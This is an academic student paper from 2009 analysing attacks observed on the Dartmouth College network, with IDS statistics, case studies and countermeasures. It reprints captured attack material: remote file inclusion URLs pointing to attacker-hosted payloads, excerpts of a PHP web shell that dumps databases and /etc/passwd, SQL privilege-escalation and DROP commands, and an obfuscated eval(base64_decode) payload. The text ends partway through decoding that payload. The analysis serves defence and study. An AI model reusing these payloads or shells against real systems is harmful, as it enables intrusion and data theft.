Attacks on the Dartmouth College Network

Ryan Speers '11, Evan Tice '09
Dartmouth Undergraduates
CS38 and Cyber-Security Initiative

November 17, 2009

Abstract

We analyze the security of the Dartmouth College campus network. We describe systems and applications in use at the College (and their vulnerabilities) and various intrusion mechanisms used to attack the network. We analyze log data obtained from intrusion prevention and detection systems. We present a number of "case studies", describing real attacks that have taken place at Dartmouth. Finally, we analyze the human factors involved with maintaining a secure college network.

1 Introduction

Late on Wednesday, July 24$^{\text{th}}$, 2004, an attacker gained access to eight servers at Dartmouth College including machines storing sensitive information [1]. Dartmouth IT staff discovered and corrected the breach within 48-hours, but not before the attacker was able to deploy file sharing software on to the compromised machines and possibly access the sensitive data.

Securing Dartmouth's network security is no easy task. The Dartmouth community consists of well over 10,000 students, faculty, and staff[1] at its undergraduate and graduate schools, all with varying technical equipment, knowledge, and needs. A "typical client"[2] on the network has access to a tremendous amount of bandwidth[3], and some machines contain very sensitive data. It's no surprise that literally thousands of attacks (that we know about) occur against machines on the campus network each day [5, slide 9].

Adam Goldstein, IT Security Engineer for Dartmouth's Computer Services lists five things attackers typically want to do on our network: *1*) run websites to host spam links or malware *2*) access sensitive data *3*) run spam engines *4*) use machines as proxies for other attacks *5*) obtain full system access for other purposes [5, slide 3, list paraphrased]. To achieve these nefarious ends, attackers typically target systems with out-of-date patches or incorrect configurations or they attempt to "trick" users into running malicious code or revealing sensitive information [5, slide 3].

In this paper we explore the vulnerabilities in systems and applications in use at the College, the intrusion detection and prevention mechanism in place to thwart attacks, data from several real attacks, and finally, the human factors involved with maintaining a secure college network.

2 Dartmouth Network Systems and Applications

2.1 Wired Network Access

Traditionally, anyone with a computer and a standard RJ-45 network cable could connect to the Dartmouth campus network from one of many wired access points without authenticating. Since February of 2009, the college has begun to implement a new MAC address authentication system in compliance with the Communications Assistance for Law Enforcement Act (CALEA) [6]. Each user will need to enter their Dartmouth Name Directory (DND) username and password in order to authorize a machine for one year. A malicious user could trivially circumvent this system. Therefore, this system is only a compliance measure which offers little in the way of security. While this in and of itself is not a problem, some users or even IT staff may inadvertently place their trust in a ma-

[1] Number of students, faculty, and staff summed from [2] [3] [4].

[2] We define a "typical client" as a machine whose traffic is not given special priority.

[3] We clocked and sustained bandwidth of 37MBps downstream and 1.16MBps upstream in one test conducting using the www.broadbandreports.com speed test utility

licious user solely because that user has a Dartmouth IP address. Library databases are an example of systems which authenticate this way, and section 2.3 also contains one such example.

2.2 Wireless Network Access

Dartmouth users have access to two wireless networks, a WPA2 Enterprise encrypted wireless network called "Dartmouth Secure" and an unencrypted wireless network called "Dartmouth Public". "Dartmouth Secure" requires uses to authenticate using a personal certificate issued by the college. Users of "Dartmouth Public" have no access to on-campus network resources. According to our informal bandwidth tests, caps on the public network limit bandwidth to 490Kbps downstream and 667Kbps upstream whereas "Dartmouth Secure" users get 1222Kbps downstream and 7117Kbps[4]. In spite of the obvious speed differences between the two networks, only half of Dartmouth's students bothered to switch to the secured network by February of 2008, months after the network became available [7]. Due to known vulnerabilities in several widely used Dartmouth applications (see "BlitzMail" below), it is trivial to "sniff" and capture the network login information for any Dartmouth user careless enough to log in whilst connected via unencrypted wifi.

2.3 NFS

An unnamed Dartmouth department utilizes the Network File System (NFS) protocol on all department lab machines. Users can access their home directory from any machine.

According to department administrators, the department's NFS configuration currently allows a malicious user with physical access to the network (or access to a machine with such) to access and modify the home directories of any department user. The department uses IP rules to authenticate NFS clients. With physical access to the department network and a personal machine, they could alter certain settings to gain full access. The NFS server will assume that user x has been properly authenticated when it communicates with any machine whose IP has been whitelisted, including the machine of our malicious user. Hence, the malicious user can view, modify, delete, and create files as if they were any user x.

Several potential solutions to the NFS problem exist: NFS version 4 introduces Kerberos technology which could be used to authenticate users properly before granting them access but the department does not run NFSv4. Alternatively, The Trusted Computing Group's (TCG) Trusted Network Connect (TNC) protocol would make it much more difficult to "steal" the IP of a department machine and thus render this attack ineffective. Finally, the department could switch to another file system protocol which includes better support for authenticating users.

Department IT staff acknowledge the NFS vulnerability—in fact, they brought it to our attention in the first place—but contend that users who have physical access to the network should be trusted to behave honorably as members of the Dartmouth community.

2.4 BlitzMail

Dartmouth developed a proprietary email system named "BlitzMail" in 1987. The system is significantly behind the times: the Windows BlitzMail client transmits usernames and passwords (and of course, emails) without encryption. The credentials of a user of the Windows BlitzMail client are very vulnerable to packet sniffers, particularly for users of the unencrypted wireless network. Using an alternate client would eliminate the issues with unsecured authentication, as the BlitzMail servers support encryption.

2.5 Banner Student

The college utilizes a student information system called "Banner Student" developed by SunGard. Students use the system to enroll in courses, access grades, access housing assignments, and change contact information. Administrators and faculty use the system for various administrative purposes. The Banner system is an attractive target for attackers looking to obtain or change sensitive information. The authors discovered a vulnerability in one Banner Student API (described in section 4.4.1) which suggests that the system does not validate all of its input and may be vulnerable to attack.

3 Security Systems

3.1 Network Systems

The Dartmouth network uses three main systems to protect the network from a variety of attacks. Two of these systems, a signature based intrusion prevention system (IPS), and an anomaly based IPS system, focus on preventing intrusions. The third system,

[4]These speed tests also were conducted using the tool at broadbandreports.com.

Snort, provides detection of possible attacks which have circumvented the prevention systems.

3.1.1 Signature Based Intrusion Prevention System

The signature based intrusion prevention system, much like virus software, gets routinely updated attack definitions. Administrators configure this system to block the traffic, or just trigger an alert according to these attack definitions. The system focuses on preventing system compromise attempts, but also catches some malware, spyware, and phishing. In the month of January 2009, it logged 16,975 blocks of email viruses, 16,305 phishing attempts, 9,673 venerability exploit attempts, 4,589 scanning attempts, and also about 35,000 spyware infection attempts and about 30,000 website attacks which were blocked [5, slide 9].

3.1.2 Anomaly Based Intrusion Prevention System

The anomaly IPS system looks for odd patterns in order to block attacks but does not use signature detection rules. This system primarily blocks worms, bots, and spam engines, and also defends against denial of service attacks. In January 2009, it blocked 19,061 attacks from 5,491 unique IPs [5, slide 16].

3.1.3 Snort

In this paper, the authors used the Snort intrusion detection system (IDS) to gather most of our web attack data. Snort logs suspicious traffic that the intrusion prevention systems do not block. Snort runs on two sensor servers which report to a main database that drives a console named BASE. BASE allows administrators to view, filter, and analyze Snort detections. Snort is a signature based intrusion detection system, meaning that everything captured by Snort is not blocked, but just logged for later analysis. In spite of its passive role, Snort provides invaluable information about suspicious activity on the network which can be used to improve the rules in the IDS systems or inform IT staff about areas that attackers are interested in. In February 2009, Snort logged 26,354 alerts[5].

3.1.4 Vulnerability Scanning

In addition to these systems, the College also takes a proactive approach to discovering vulnerabilities. IT staff utilize a vulnerability scanner and a specially web console Achilles (developed in house), which helps to organize the results. The security auditing tool tests over 25,000 different vulnerabilities[5, slide 23].

3.1.5 Spam filtering technology

The College employs several layers of spam filters in order to identify and drop suspicious email. In this paper we chose not to focus on spam prevention though we do discuss several phising attacks against Dartmouth users in section 5.1. See [5] for more information about these technology Dartmouth uses to combat spam.

3.2 Server Systems

Some servers run local firewalls and anti-virus software from Symantec. LanDesk keeps Windows machines up to date with patches. Tripwire provides an early-warning of data compromises on some Unix servers. Some servers also use log monitoring tools like Logwatch and LogLogic to detect suspicious anomalies in server logs [5, slide 24].

3.3 Workstation Systems

The College is able to maintain control over Dartmouth owned systems such as administrative computers, but has less power to impose mandatory updates on machines owned by students and faculty (who can choose to opt-out on Windows and Apple machines they purchase from the college, and must choose to opt-in for other machines). IT Staff use LanDesk to update workstations under college control. Recent malware such as the Conficker worm have left Dartmouth systems relatively untouched (see section 5.2 for details) suggesting that the College's compulsory update practices work well.

4 Attacks Against Servers

In this section we present data which suggests how attackers gather information about the systems they wish to exploit on the Dartmouth network as well as how they carry out their attacks.

[5]Due to expiration of alert cache, we were unable to compute full alert statistics for January 2009. Also, this alert count has alerts triggered by the internal Dartmouth vulnerability scanning server excluded.

4.1 Reconnaissance

Attackers often look for sensitive files such as scripts with known vulnerabilities or files which contain information that can help the attacker identify other potential attack vectors: Snort identified several files which were most sought after by attackers targeting Dartmouth web servers; we list these files in Table 1 (see Appendix A for a complete list):

In the following sections, we describe two general reconnaissance strategies used by attackers:

4.1.1 Directory traversal attacks

In a directory traversal attack, the attacker attempts to use a web server to gain access to files that the webmaster did not intend to share. Dartmouth's Snort system frequently identifies directory traversal attacks:

The root directory of a particular website often corresponds to a directory within the filesystem of a server—this is almost always the case for websites served by the ubiquitous Apache web server. For example, the content served on *www.foo.com* might reside in */var/www/* on the filesystem of the *foo.com* server. An attacker might be interested in obtaining the contents of */var/secrets* or */etc/passwd* on this machine. In essence, a directory traversal attack allows the attacker to request a page like "www.foo.com/../secrets" or "www.foo.com/../../etc/passwd" to obtain access to these files. Different escape characters and control sequences make it difficult to distinguish some legitimate directories from illegitimate ones. Web servers that are not updated with the latest security patches may be vulnerable to several directory traversal exploits. Root directory traversal attempts accounted for approximately 24% of the suspicious events logged by Snort, not including requests for "/etc/passwd" and other files where access attempts are tracked explicitly.

4.1.2 Forbidden page access attempts

. Many web servers return a 403 error when they receive what they consider to be a "suspicious" request. While requests that result in 403 errors can sometimes be legitimate, they often arise because attackers are attempting invalid HTTP requests in an effort to learn about or exploit the APIs exposed by a given web server. Approximately 33% of the suspicious events logged by Snort were forbidden page access attempts. Please refer to the table in Appendix A for more information about the frequency of these attacks.

4.2 Remote File Inclusion Attacks

Attackers often attempt to "trick" a web server or web application into downloading malicious code. If they succeed they often can escalate privileges, access sensitive data, or carry out other dubious intentions. Remote file includes sometimes succeed against improperly configured web servers and poorly coded PHP applications (and other scripted applications) which do not validate their input.

Approximately 1% of the attacks identified by Snort were remote file inclusion attempts (See Appendix A). Most of these attacks target the main Dartmouth web server, and attempt to append query string parameters containing the url of a malicious payload to otherwise valid Dartmouth URLs.

Table 2 lists a number of example requests that attackers performed in various attacks. The payloads in these urls appear to be .txt files, but in reality, they are clear text or obfuscated PHP scripts. We reverse engineer and de-obfuscate one example payload in Appendix C.

4.2.1 Remote Include Attacks on an Institute Site

A notable site which received a number of remote include path attack attempts is a Dartmouth Institute site. This site is running an open source content management system, Joomla! Until recently, it ran an out of date version of Joomla! vulnerable to remote include attacks because of a validation bug [8]. The most interesting payload targeting this site is a script which encoded much of its code in base64, and, in addition, which applied character substitution in order to severely obfuscate the nature of the code. See Appendix C for the steps the authors used to derive the plaintext source of this payload. We believe that payloads employ obfuscation to avoid detection by rules based malware detectors. We can personally attest to the fact that obfuscation also makes it difficult for a human to understand the content and intent of the script, which may be a secondary goal of the attackers.

The same writing website was also attacked several other times, in November 2008 and January and February 2009. In both cases the attacker was able to upload a PHP shell on the machine:

In November 2008, Snort logged an alert when it noticed the string "passwd" in web traffic. An investigation by one of the authors found that attackers had uploaded a PHP shell, accessible to all, onto the machine. A group called the RuSH Security Team apparently developed this shell. The shell allows for attempts at file editing, directory traversal, and MySQL

Table 1: Common Files Requested in Reconnaissance Attacks

File	Frequency	Description
guestbook.pl	6% reported attacks	Popular guestbook script with known vulnerability
/etc/passwd	2% reported attacks	Stores information about the accounts on the system
viewtopic.php	2% reported attacks	Popular forum script with known vulnerability
modules.php	1% reported attacks	Reports details about web server configuration

Table 2: Remote File Include Request Examples

```
~xxx/syllabus/index.html//gbook/includes/header.php?abspath=http://oursoultvxq.com/...
~xxx/syllabus//gbook/includes/header.php?abspath=http://...com/bbs/data/vip/id2.txt
~yyy/index.php/component/content/?mosConfig_absolute_path=http://www.../kboard/test.txt
~yyy/index.php/component/content/?mosConfig_absolute_path=http://www...de/id.txt
~yyy/index.php/component/?mosConfig_absolute_path=http://www...nl/tmp/copyright.txt
/modules/Discipline/CategoryBreakdownTime.php?staticpath=http://www...ru//.../readme.txt
~zzz/.../CategoryBreakdownTime.php?staticpath=http://www...ru//moodle/lang/readme.txt
~ggg//citywriter/head.php?path=http://k4m1r0x.007sites.com/ir/casa
```

queries. In examining the traffic between the apparent attacker's IP address and the Dartmouth server, we discovered a variety of packets that indicate attackers attempted to further escalate privileges using the script. In one instance, the attacker attempted to upload a file rst_sql.php file (see Appendix B), while another tried to drop all the MySQL tables (see B.2), and a third tried to change the MySQL user permissions to grant themselves root SQL privileges (see B.3). The upload of rst_sql.php seems to have failed, and we are unable to verify if any of the other attempts were successful.

The attack in January 2009 occurred when the site was running an older version of Joomla. In addition, the site administrator seems to have left the permissions on a directory (javascripts/) set to world-writable (777). This is probably because the Joomla install directions recommend setting these permissions during installation, but the admin neglected to adjust the permissions after installation [9]. In the January attack, the attacker uploaded two shells to the javascripts directory — the "R57" and "'Mad Shell" shells. We discovered that the R57 shell could read files from the server, including /etc/passwd [10]. The signature based IPS system, however, blocked the communication between the remote attacker and the R57 shell so that the attackers were unable to use it [5, slide 10].

4.2.2 Other Remote Include Attacks

In our review of Snort data from February 2009, we noticed some other payloads similar to that used to target the ~writ8 which did not use sophisticated obfuscation seen previously. The authors suspect that these payloads were possible test payloads.

We also discovered a simple two-line piece of code used in conjunction with a hacking tool called the "FeeL CoMz RFI Scanner Perlbot" [11]. The FeeL CoMz bot implements a number of APIs specifically tailored to allow the attacker to launch a denial of service attack or distribute copyrighted material over IRC [12]. As far as we can tell, the attacker was unable to install the bot on a Dartmouth machine. Another site on the Dartmouth web server was also hit by an attack attempting to infect the system with an IRC bot-herder script. This script was written in a combination of PHP and PERL and is capable of port scanning, downloading files, sending email, and launching tcpflood and udpflood attacks. We included a portion of the script and list various tasks it can perform in Appendix D. We believe that the upload of this script was also unsuccessful.

The majority of the web attacks being detected by Snort do not seem to be successful. The main reason for this is because these are un-targeted attacks being performed usually by automated scans. A large number of these attacks seem to be trying to determine if there is a vulnerability, and if so, marking it or reporting it back to the attacker. The few payloads which have been successfully introduced have had limited compromise of information, due to a combination of luck and the stopping of remote shell commands by the signature-based IPS. It is clear, however, that the College would benefit from tighter control of applications such as CMS systems being run on the Dartmouth servers. The proper installation and configuration of these systems, as well as the frequent updating of them, is crucial to maintaining sites which are less likely to be successfully exploited.

4.2.3 Countermeasures to Remote Include Attacks

By applying regular patches to the OS, services, and applications, and by granting the web server read and write access to files and directories on an as-needed-only basis, administrators can minimize the threat posed by remote include attacks. We note that Dartmouth's IPS systems often prevents many remote include attacks and the IDS system often identifies additional attacks. The network or local logging services often detect suspicious behavior and allow IT staff to identify infected machines. Hence, while remote include attacks pose serious threats to systems on our network, the College is well equipped to identify and prevent many of these attacks.

4.3 SQL Password Cracking Attacks

Like web servers, hackers frequently target improperly configured and unpatched SQL servers. An attacker that achieves "root" SQL access[6] can often escalate privileges to those of the system SQL user, or worse, to the level of the system root user. At best, an attacker with root SQL access has complete control over the SQL database and all data within it. In the Snort logs for February of 2009, we noticed 122 MySQL root log-in attempts that were not blocked by Dartmouth's Intrusion Prevention Systems. In these attacks, a single attacker targeted several MySQL servers on a single subnet in an apparent brute force password cracking attempt. While we don't know how the attacker discovered the machines, we speculate that if he used nmap to explore the subnet, he would have learned that several machines were running out of date versions of MySQL—one machine was running a version of mysql from 2002 [7]— some with known privilege escalation vulnerabilities that allow the root SQL user to obtain system root privileges[8]

We were perplexed by these attacks because they all occurred on February 2nd between 11am and 12pm and between 11pm and midnight. We suspect that most external SQL login attempts are dropped by the intrusion prevention system before reaching our network. It remains a mystery how one lucky attacker managed to successfully execute 122 login attempts[9]. Because of the small number of attempts, we do not believe[10] that the attacker was able to guess the SQL password and thus compromise any machine.

When we began this project, we suspected that we would have the opportunity to analyze data from SQL injection attacks[11]. However, our IDS system did not record a single SQL injection attempt. This means that either the Dartmouth IPS systems are extremely effective at preventing this type of attack, these attacks occur and we don't hear about them, or these attacks don't occur against Dartmouth SQL servers (unlikely).

4.3.1 Countermeasures to SQL Attacks

Administrators should avoid the use of easily guessed SQL passwords and ensure that the SQL user accounts used by web applications do not have unnecessary privileges. Firewall settings and SQL user settings can restrict connections to trusted IPs (ideally, "localhost" only) in order to prevent brute force password cracking attempts from machines on the internet.

4.4 Attacks on Custom Applications

Intrusion detection and prevention systems are not well equipped to handle attacks against some applications developed in house or purchased by the College which are not widely seen by the security community. In this section, we discuss a vulnerability we discovered in the Banner Student Information System[12]. We speculate that additional vulnerabilities might exist in countless web applications maintained by staff throughout the college.

[6] i.e., logging in as the "root" SQL user, which is generally not equal to the "root" system user.

[7] We ran an nmap of the machines targeted by the attacker and discovered that several were out of date, including one machine that was running MySQL version 3.23.53 [13].

[8] A Nessus vulnerability scan of one machine reported "The remote version of MySQL is older than 3.23.56. Such versions are affected by an issue that may allow the mysqld service to start with elevated privileges. An attacker can exploit this vulnerability by creating a 'DATADIR/my.cnf' that includes the line 'user=root' under the '[mysqld]' option section. When the mysqld service is executed, it will run as the root user instead of the default user."

[9] We suspect that the IPS systems may have not blocked the attempts seen by Snort because the passwords attempted in the Snort logged attacks were odd and heavy in symbol ASCII characters.

[10] We were unable to obtain access to the log files of the servers in question.

[11] In a SQL injection attacks, attackers attempt to submit SQL code to web service APIs in the hopes that a web service does not validate its input and will pass the command along to the SQL server with the goal of manipulating data or escalating privileges.

[12] The SunGard Banner system has seen widespread adoption in higher education institutions [14].

4.4.1 Banner Student Grade Viewer Attack

As mentioned in section 2.5, Banner Student is an information system storing a plethora of sensitive information that would be valuable to many attackers. Among other things, the Banner Student database stores student grades[13]. The authors discovered a "feature" in a Banner Student APIs which allows a user to obtain their term grades prior to the time when all grades are officially published by the registrar.

The registar typically waits until after the faculty grade submission deadline before posting grades rather than making a partial list of grades available to students early. While the Banner Student user interface only presents a list of terms for which grades have been published, the server side APIs allow the user to view grades for ANY term. The APIs don't validate the term requested by the client. A user can submit a request for grades for any term and obtain a valid response with all submitted grades. We speculate that other Banner Student APIs might also fail to validate their input. While we could not formulate a Banner Student API call to do anything more interesting than view our own grades prematurely, we believe that additional vulnerability tests of the faculty and administration APIs (which, we presume, allow sensitive data entry) are in order.

4.4.2 Countermeasures to Custom Application Attacks

There is little that can be done by network or systems administrators to address these highly customized attacks. IPS and IDS systems may provide some protection, but these systems are unlikely to prevent or detect exploits such as the "Banner Student" trick. The onus falls on application developers to write good applications. Security by obscurity may provide a modicum of protection; if attackers do not know much about an application they may have difficulty mounting an attack against it.

5 Human Factors

In this section we examine the behavior of users on the Dartmouth network and describe how users fall victim to fradulent emails, viruses, and other malware. In addition, we explain our attempt to manipulate some of the humans responsible for ensuring network security by submitting a fraudulent password reset request.

5.1 Phishing

Over the years, a number of phishing schemes targeted Dartmouth users. In February 2008, a spammer sent forged a fraudulent message "from" `info@dartmouth.edu` to 1,000 Dartmouth addresses requesting their network passwords. Twenty people replied to the email, and only some of those actually released their passwords. The people who released the information were all Dartmouth faculty or staff, not students [15]. Other phishing attempts have targeted the Dartmouth community, such as a fraudulent email sent in January 2006 which appeared to come from a local bank. This email attempted to steal online account logins [15]. Most recently, a well designed phishing attempt targeted six Dartmouth email addresses all belonging to assistants of high-ranking college officials. The message appeared to come from the Internal Revenue Service and was well written with no typographical errors. The zip file attached to the email purportedly contained a form, but it delivered a password dump utility and a script. When opened, the attachment downloaded and opened a legitimate form from the IRS website in order to prevent the user from becoming suspicious. IT staff became aware of this elaborate phishing scheme when security software detected the password dump utility upon its execution [5, slide 34].

5.2 Malware: Conficker on Campus

By January 26, 2009, the Conficker worm had spread to over 15 million PCs [16]. In spite of its proliferation, machines on the Dartmouth network were relatively immune from the worm. Virus protection updates and system patches were available to protect against this attack such as the November 2008 MS08-067 patch. On January 23, 2009, Dartmouth IT scanned 8,665 live systems and discovered that only 51 were vulnerable to the worm[14][5, slide 28]. This shows that the use of LanDesk and other procedures to keep systems updated seem to be working well, with some room for improvement in compliancy.

5.3 Managing Human Error

Educated humans are less likely to make mistakes! Staff and students trained to identify suspicious email or websites may be less prone to errors. The evidence

[13] We don't know for sure if grades might be stored in another "master" database which feeds into the banner system. If the banner database is in fact the only grade database, or if it is the master database, it would be an attractive target indeed!

[14] Due to failing to apply the MS08-067 patch, poor firewall settings, etc.

presented above suggests that Dartmouth users—particularly students—successfully identify many fraudulent emails and websites.

IT staff should configure machines under their control to apply patches automatically and encourage autonomous users to do the same. Spam filter technology can identify and remove or flag many suspicious emails and IPS and IDS systems can detect and prevent suspicious behavior that arises when users fall prey to malware.

6 Conclusion

We've explored several vulnerabilities in systems and applications in use at Dartmouth College. We've noted that access to the wired network is fairly unrestricted. While this in and of itself is not necessarily a problem, systems or persons which rely upon the assumption that users with access to the network are deserving of trust do so at their peril; for example, an unnamed department's systems are vulnerable to a trivial attack which allows any user with access to the network to view and manipulate files belonging to other users. We've seen how several applications—such as the college BlitzMail client and the student information system Banner Student—suffer from vulnerabilities should be addressed in the future. We've seen how enterprise printers with default configuration settings pose a threat to network security and privacy. Sophisticated printers often behave like computers and use of default user names and passwords on these printers makes them attractive targets. In addition, default-configured printers threaten user privacy since many allow an attacker to access printed information.

In spite of these weaknesses, IT staff use tools to effectively identify, prevent, and study attacks. We've seen how attackers frequently conduct reconnaissance to identify or explore machines that they later target. At Dartmouth, these reconnaissance efforts are generally easy to detect or prevent altogether. We've explored common attacks such as remote file inclusion exploits and brute force password cracking attempts. For the few successful attacks, IT Staff can typically identify an infected machine within hours or days of infection due to the suspicious behaviors it exhibits. Phishing and fraudulent website scams periodically target Dartmouth users. Computer savvy users—students in particular—often identify and avoid these scams. Finally, we've examined the behavior of the users on the Dartmouth network and explored the impacts of these behaviors on security and privacy. Most users either faithfully apply updates or benefit from automatic updates pushed by OS, software vendors, or Dartmouth IT.

In summary, while we have identified a number of areas where Dartmouth's network security is lacking, we are fairly impressed with the extent and demonstrated efficacy of the measures that College's IT staff (and many of its users) take to prevent, detect, and respond to threats.

Acknowledgements

The authors would like to thank Adam Goldstein for help in obtaining the data needed for this study, and for his invaluable insight on the topic. The authors also extend thanks to Scott Rea and the rest of the Dartmouth Cyber-Security Initiative Team. We are also grateful to Professor Charles C. Palmer for his support as the professor of our Computer Science 38 course for whom we have written this paper. The authors also thank Tim Tregubov and Sergey Bratus for discussing various vulnerabilities and providing their insight.

Appendix A Frequency of Reported Attacks

Table 3 summarizes the attacks identified by Snort in BASE. The table lists the top 48 suspected attacks (of 78) ordered by decreasing occurrence.

Table 3: Overview of Reported Attacks

Alert	Classification	Total	# Sources	# Destinations
ATTACK-RESPONSES 403 Forbidden	attempted-recon	12468(33%)	17	3078
http_inspect: WEBROOT DIRECTORY TRAVERSAL	unclassified	9211(24%)	62	298
ftp_pp: FTP parameter length overflow	attempted-admin	3703(10%)	12	11
WEB-MISC guestbook.pl access	attempted-recon	2276(6%)	34	2
WEB-MISC /etc/passwd	attempted-recon	766(2%)	81	10
WEB-MISC http directory traversal	attempted-recon	663(2%)	131	6
WEB-PHP viewtopic.php access	web-application-attack	655(2%)	333	3
WEB-MISC cross site scripting attempt	web-application-attack	621(2%)	107	11
WEB-MISC apache directory disclosure attempt	attempted-dos	511(1%)	16	4
WEB-PHP remote include path	web-application-attack	474(1%)	72	13
ftp_pp: Invalid FTP command	protocol-command-decode	336(1%)	61	30
tag: Tagged Packet	unclassified	286(1%)	60	44
Snort Alert [1:13514:0]	web-application-attack	271(1%)	72	13
WEB-PHP modules.php access	web-application-activity	259(1%)	196	3
WEB-MISC encoded cross site scripting attempt	web-application-attack	181(0%)	15	3
ATTACK-RESPONSES Invalid URL	attempted-recon	149(0%)	20	33
WEB-FRONTPAGE posting	web-application-activity	136(0%)	6	14
MYSQL 4.0 root login attempt	protocol-command-decode	122(0%)	1	3
WEB-MISC Chunked-Encoding transfer attempt	web-application-attack	114(0%)	6	2
Snort Alert [1:13513:0]	web-application-attack	97(0%)	28	7
ftp_pp: FTP malformed parameter	protocol-command-decode	92(0%)	21	10
WEB-MISC .bash_history access	web-application-attack	60(0%)	21	3
ftp_pp: FTP response length overflow	string-detect	59(0%)	5	4
WEB-MISC Linksys router default l/p login attempt	default-login-attempt	55(0%)	6	22
POP3 USER format string attempt	attempted-admin	55(0%)	4	6
WEB-IIS asp-dot attempt	web-application-attack	47(0%)	12	3
FTP CWD ~attempt	denial-of-service	46(0%)	1	1
spp_stream4: TTL Evasion attempt	unclassified	45(0%)	14	10
Snort Alert [1:11837:0]	attempted-user	41(0%)	25	7
WEB-PHP admin.php access	attempted-recon	37(0%)	16	2
WEB-PHP PHPLIB remote command attempt	attempted-user	36(0%)	9	3
WEB-MISC /.... access	attempted-recon	34(0%)	12	2
SNMP AgentX/tcp request	attempted-recon	30(0%)	1	1
WEB-PHP xmlrpc.php post attempt	web-application-attack	29(0%)	21	3
FTP passwd retrieval attempt	suspicious-filename-detect	27(0%)	7	1
FTP .forward	suspicious-filename-detect	25(0%)	6	1
ftp_pp: FTP bounce attack	policy-violation	19(0%)	3	10
WEB-FRONTPAGE .... request	web-application-attack	19(0%)	11	3
WEB-MISC ICQ Webfront HTTP DOS	web-application-attack	18(0%)	5	4
WEB-MISC NetObserve authentication bypass attempt	web-application-attack	17(0%)	1	1
Snort Alert [1:13628:0]	misc-activity	16(0%)	3	3
WEB-MISC .htaccess access	attempted-recon	15(0%)	11	2
SMTP headers too long server response	bad-unknown	13(0%)	5	11
WEB-PHP test.php access	web-application-activity	13(0%)	5	1
Snort Alert [1:13512:0]	web-application-attack	13(0%)	7	5
WEB-COLDFUSION exampleapp access	attempted-recon	10(0%)	2	1
WEB-COLDFUSION sourcewindow.cfm access	attempted-recon	10(0%)	2	1
BAD-TRAFFIC tcp port 0 traffic	misc-activity	10(0%)	2	2

Appendix B RuSH Security Team Payloads

B.1 RuSH Payload 1

This is a part of the rst_sql.php payload which was used in November 2008 against an institute's site. This was retrieved at that time by one of the authors form pcap logs from web traffic.

```
Content-Disposition: form-data; name="file"; filename="rst_sql.php"
Content-Type: application/x-httpd-php

[... code removed for brevity...]

if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
    $file = "C:\\tmp\\dump_".$db.".sql";
    $p_v=$SystemRoot."\my.ini";
    $os="win";
} else {
    $file = "/tmp/dump_".$db.".sql";
    $p_v="/etc/passwd";
}
if ($HTTP_GET_VARS['send']=='send_http') {
function download($file, $type = false, $name = false, $down = false) {
if(!file_exists($file)) exit;
if(!$name) $name = basename($file);
if($down) $type = "application/force-download";
else if(!$type) $type = "application/download";
$disp = $down ? "attachment" : "inline";
header("Content-disposition: ".$disp."; filename=".$name);
header("Content-length: ".filesize($file));
header("Content-type: ".$type);
header("Connection: close");
header("Expires: 0");
set_time_limit(0);
readfile($file);
unlink($file);
exit;
}
if ($HTTP_GET_VARS['strukt']=='d_strukt_bd' && $HTTP_GET_VARS['dump']=='bd'){
   $host = $HTTP_SERVER_VARS["SERVER_NAME"];
   $ip = $HTTP_SERVER_VARS["SERVER_ADDR"];
   $connection=mysql_connect($server.":".$port, $login, $pass
```

B.2 RuSH SQL 'Drop' Attack

This is another piece of web traffic from pcap logs showing an attempt to get all the names of MySQL tables, build a file of those, and then use MySQL DROP to delete the tables.

```
   mysql_select_db($db) or die("$h_error<b>".mysql_error()."</b>$f_error");
   if (sizeof($tabs) == 0) {
      $res = mysql_query("SHOW TABLES FROM $db", $connection);
      if (mysql_num_rows($res) > 0) {
         while ($row = mysql_fetch_row($res)) {
            $tabs[] .= $row[0];
         }
      }
   }
   $fp = fopen($file, "w");
   fputs ($fp, "# RST MySQL tools\n# Home page: http://rst.void.ru\n# Host settings:\n# MySQL version: (".mysql_get_server_info().")\n
# Date: ".
   date("F j, Y, g:i a")."\n# ".$host." (".$ip.")"." dump db \"".$db."\"\n#------------------------------\n
\n");
   foreach($tabs as $tab) {
      if ($add_drop) {
         fputs($fp, "DROP TABLE IF EXISTS `".$tab."`;\n");
      }
      $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $connection)
```

B.3 RuSH SQL 'Grant' (Escalation) Attack

In a third piece of traffic data from pcap logs, we show the attackers trying to use MySQL commands to grant themselves MySQL root privileges on the machine.

```
<li><b>CREATE TABLE test (number INTEGER,texts CHAR(10));</b> ....... ....... test . ...... number -... INTEGER . .... texts -... CHAR
 <li><b>CREATE TABLE `test` SELECT * FROM `rush`;</b> ....... ....... test ,....... ....... rush
 <li><b>ALTER TABLE test CHANGE SITE OLD_SITE INTEGER</b> .............. ....... INTEGER .. SITE . OLD_SITE
 <li><b>ALTER TABLE test RENAME rush</b> .............. ....... test . rush
 <li><b>UPDATE mysql.user SET Password=PASSWORD(\'new_passwd\') WHERE user=\'root\'</b> ....... ..... root ......
 <li><b>FLUSH PRIVILEGES</b> .......... ....... .......... ......
 <li><b>GRANT ALL PRIVILEGES ON *.* TO rst@localhost IDENTIFIED BY \'some_pass\' WITH GRANT OPTION</b> mysql
<b>rst</b> . ....... <b>some_pass</b>
```

Appendix C Example Payload

This appendix demonstrates how the attacker cleverly hid a payload for a PHP injection attack so that it was difficult to detect by automated scanning of the code, and even difficult for a human trying to manually decipher it to read.

C.1 Original source (indecipherable strings shortened for brevity)

We begin with an obfuscated payload encoded in base 64 (shortened for brevity)

```
<?php $_F=__FILE__;$_X='Pz48a...4NHQ7';
eval(base64_decode('Pz48aHRtbD4...0wOyRfWD0wOw=='));?>
```

C.2 Partially decoded source

Applying a base 64 decode gives the following obfuscated source (shortened for brevity). Some comments have also been added by the authors.

```
//PHP SCRIPT
$_F=__FILE__;
//$_X = DECODED BELOW
?><html><h51d><t4tl5>/\/\/\ R5sp2ns5 CMD /\/\/\</t4tl5></h51d><b2dy bgc212r=DC6uoC>
<H6>Ch1ng4ng th4s CMD w4ll r5s3lt 4n c2rr3pt sc1nn4ng !</H6>
</html></h51d></b2dy>
<?php

4f((@5r5g4("34d",5x("4d"))) || (@5r5g4("W4nd2ws",5x("n5t st1rt")))){
    5ch2("S1f5 M2d5 2f th4s S5rv5r 4s : ");
    5ch2("S1f5OFF");
}

5ls5
{
    4n4_r5st2r5("s1f5_m2d5");
    4n4_r5st2r5("2p5n_b1s5d4r");
    4f((@5r5g4("34d",5x("4d"))) || (@5r5g4("W4nd2ws",5x("n5t st1rt"))))
    {
